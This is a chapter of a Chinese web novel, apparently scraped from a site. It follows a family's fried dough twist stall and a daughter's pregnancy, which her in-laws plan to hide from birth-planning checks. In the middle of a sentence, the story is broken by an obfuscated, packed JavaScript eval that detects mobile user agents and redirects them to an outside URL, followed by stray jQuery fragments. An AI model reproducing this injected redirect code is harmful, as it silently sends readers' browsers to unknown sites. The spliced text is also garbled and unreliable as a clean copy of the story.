“是这样的，他在南林开了个副食品店。前几天过来转悠，就瞧上了你家的麻花……”


    胡玉凤闻言先是喜出望外，借着又皱眉道：


    “好事儿是好事儿，就是南林离咱这儿有点远啊，咋送过去呢？”


    南林乡也是洋县下属的一个乡镇，不过在川道里。离着上官镇有个四十公里左右，两个乡镇还不通车。


    老方显然也想到了这个问题，皱起了眉头。


    “那我跟他再说说……”


    胡玉凤满脑子都是这么做成这单，一时想得出神。


    秦文礼找过来的时候，自家母亲低垂着头不知在想啥，自家媳妇坐在凳子上看着。


    他用眼神示意：咋了？


    杨秀指了指老方的方向。


    秦文礼试探着开口：“妈？”


    “文礼，咱买个车吧？”胡玉凤眼睛亮晶晶。


    秦文礼：？？？


    杨秀也一脸懵：“咋了妈？为啥突然买车？”


    “有了车咱们送货方便啊，麻花就能卖更远了……”


    “可……咱们钱不够啊！”秦文礼迟疑道。


    “是啊……唉，那就以后再说吧，现在还是好好挣钱……”胡玉凤也泄了气，穷人在钱面前，真的是不能谈一点理想。


    *


    三人回家就像英雄返乡，受到了留守老人与儿童的热情欢迎。


    连秦生田都罕见的关心了生意情况。


    三人默契的都说好，谁也没有提起外面的风险。


    晚饭后，胡玉凤跟秦文礼提了老方说的事。


    失去这么个稳定的客户秦文礼也很是可惜。可现实就摆在眼前，可惜也没办法。既然家里一时买不起车，只能盼着两个乡镇快点通车。


    这都是没影儿的事儿，摆在眼前的还是赚钱。


    秦文礼说了干豆腐的销售情况，胡玉凤也吃了一惊。


    不过这是好事儿，多条路子多些收益，以后可以多多晒嘛！


    不过提起干豆腐，她就想起她的逆女小琴。


    显然大家都想到了。杨秀便道：


    “小琴回去一个多月了，也没啥消息，不知道好着没？”


    “没消息就是好消息，要有事儿早打电话来了。”胡玉凤道。


    就她那性子，受一点委屈就恨不得天下人都知道。这一个多月啥消息没有，肯定是被杨家人哄得高兴着呢。


    晚上，西屋。


    杨秀戳了戳正在翻书的秦文礼：“哎，你发现没有，咱妈对小琴好像淡了……”


    “有吗？”


    “很明显啊。以前一个月没消息，妈总会打电话过去问问。这次都提起来了，她也没说打电话问问。这不就是淡了？”


    “可能吧……”


    “之前妈还骂了小琴，她以前那舍得骂小琴啊……”


    “哦……”


    杨秀蹬了秦文礼一脚：就知道书书书，迟早看成书呆子。


    不过转头她也拿起来小学课本，翻了起来。


    要给年轻人争口气，可不能让婆婆比下去。


    杨秀在西屋里刻苦学习，胡玉凤在堂屋也没闲着。


    她拿着纸笔一笔一画，仿佛不知疲倦。


    秦生田看了一眼，撇了撇嘴：一大把年纪了，非得自己找罪受。


    *


    有些人就经不起念叨。还没两天，秦小琴就打电话过来。


    胡玉凤跑的气喘吁吁，一屁股坐在大队商店的凳子上。


    刚坐下电话就“嘟嘟嘟”响了。


    胡玉凤赶紧接起来，果然是秦小琴。


    她的大嗓门通过电话传来：“妈，你咋才来……”


    我咋才来？我五十了，跑的都算快了，难不成得飞来？这孩子说话还是这么不过脑子。


    胡玉凤懒得计较：“咋了，有啥急事儿你让我五分钟就来……”


    “我们家装电话了，我这不打个电话过来让你开心开心嘛！就这个号码，妈你记着昂。”


    胡玉凤懒得吐槽：“哦，那挺好，你最近好着没？”


    “好着呢……就是……”小琴在电话那头扭扭捏捏。


    “咋了，你干脆的，电话不要钱啊？”


    “我怀孕了！”秦小琴在那头扔下个重磅炸弹。


    胡玉凤下意识伸手捂住听筒，左右看看周围没人，这才小声道：“小点声，几个月了？”


    “两个月。”


    “杨旭知道不？你们准备咋办?”胡玉凤问道。


    “知道，他说等月份大一点，让我来咱家躲着……”


    胡玉凤闻言皱眉：“就算能躲到生，那杨旭的工作咋办？”


    “到时候再说呗，我想生下来，我们就妮妮一个闺女。我梦见可大的黑蛇了，这胎怕是儿子。”秦小琴满怀期待。


    胡玉凤缓和了语气道：“那你和你公婆再商量商量，不管是孩子还是工作，都是大事。”


    “行，那我挂了妈。”秦小琴声音又欢快了起来。


    胡玉凤揉了揉额角，头疼。


    “啊，小琴怀上了？那这要生了杨旭工作是不是保不住了？”杨秀听婆婆说起这事，也吃了一惊。


    现在计划生育抓的正严呢。杨旭还是公职人员，要超生估计得开除公职。


    “看吧，看杨虎子他们两口子咋想的。”


    *


    还能咋想啊，杨虎子两口子自然是让生下来的。


    儿子膝下就一个闺女，总不能为了政策就断了杨家的香火。


    尤其这胎还极有可能是男胎，生，必须生。


    “等到时候显怀了，就送小琴去娘家待一段时间。”


    魏萍在旁边观察着众人的脸色。见丈夫提了去娘家，儿媳妇并没有露出高兴的神色来，就道：


    “或者在周边租个地方也行，真要查的话，娘家还是很容易被查到的。”


    杨虎子听了妻子的话也点头，确实，人家真要逮肯定先去娘家。


    “那就到时候再看。”


    至于杨旭的工作。杨虎子恨恨抽了一口，才道：“我去找找段站长。咱这是省级直属的单位，可不全归他地方管。”


    他们单位想生二胎，甚至偷着生二胎的又不是没有。站长心里跟明镜似的，还不是睁一只眼闭一只眼。


    但这话不能跟孩子说，尤其是儿媳妇。那是个头脑简单的，万一嚷嚷出去不仅自家打算得落空，估计还得牵连其他人。


    想到这就恨不得给自己一巴掌。咋就只顾着她长得好，能改善改善基因，就没


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13482814|138912||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    想到多了解了解呢。


    他恨恨抽了一口烟，看着摊在沙发上没个正型的儿子更来气：


    “一下班就回家躺着，你姐要生了，都不知道去看看……”


    “吃了赶紧去，看家里缺啥帮着置办置办……”


    杨旭连忙坐端正点头答应。


    秦小琴在厨房里听见了，不服气的撇了撇嘴。


    不过想起公公的大巴掌，心里骂翻了天，嘴上却是一句话没往外露。


    “还有小琴，你从今开始就别出门了，找些票，先把每个月的环孕检糊弄过去再说。”


    环孕检，是每个育龄妇女每月都必须检查的。


    上个月秦小琴不知是月份浅，还是社区b超机老旧，反正没查出来。这个月可就不一定了。


    一旦被查出来，或者躲着不去，那社区计生委就会找上门。最好还是开个其他医院的B超单，蒙混过关。


    杨虎子心里划过一个又一个名字。


    *


    胡玉凤心里装着事儿，但该出的摊还是一天不拉。


    “你听说了吗，那黑胖子，派出所本来打算关个十天半个月的。后来她姐找了人，这才关了五天。”


    胡玉凤笑了笑：“几天都行，只要他别再来找事，那就跟咱没关系。”


    “你还是宽厚，要搁其他人，不告他关上一个月别想出来。”来人道。


    “都是摆摊的，他长个记性，以后别胡闹就行了……”


    胡玉凤本来还担心惩罚太重了。自家可是打算长久干下去的，惹个仇家不划算。


    一听五天，那就刚好。那胖子就是长得人高马大，看着也不像是个有脑子的，只要真吃了教训，以后安安分分就行了。


    她熟练的炸着麻花，熟练的招呼着顾客。


    却总觉得有一道目光看着自己。她装作毫无察觉，然后猛然抬头，就见一中年妇女正看着她，


    见被她发现了，那女人裂开了嘴：


    “大姐，你这生意红火啊，我看整条街上就属你卖的最快。”


    胡玉凤笑了：“还行，你是打算买点还是有啥事儿啊？”


    “买点，各样来个二斤吧。”


    胡玉凤利索装了，递了过去。


    那人冲着胡玉凤笑了笑，走了。


    胡玉凤觉得奇怪，那女人瞧着面生，又盯着自己……该不是来偷师的吧？


    她心下一凛，往那人背影看了过去，就见她进了老方商店。


    ？


    胡玉凤心下疑惑。


    一直忙到三点半，街上的人流散的差不多了，左右都开始收拾摊子。


    就见老方踱步过来，身旁跟着的就是那个打量她的女人。


    胡玉凤抬头招呼：“老方，啥事儿得劳烦你亲自过来啊？”


    老方哈哈笑：“看老姐你说的，没事儿我就不能来看看你？”


    “能，咋不能，老弟有这份心我这心里乐开花……”


    两人打了半天哈哈，老方这才正色道：


    “姐，这就是我上个集跟你说的，我那兄弟……”


    胡玉凤：？？？


    “哦……就南林乡开副食店？怎么称呼啊？”胡玉凤愣了愣，忙开口招呼。


    “大姐，叫我桂子就行。”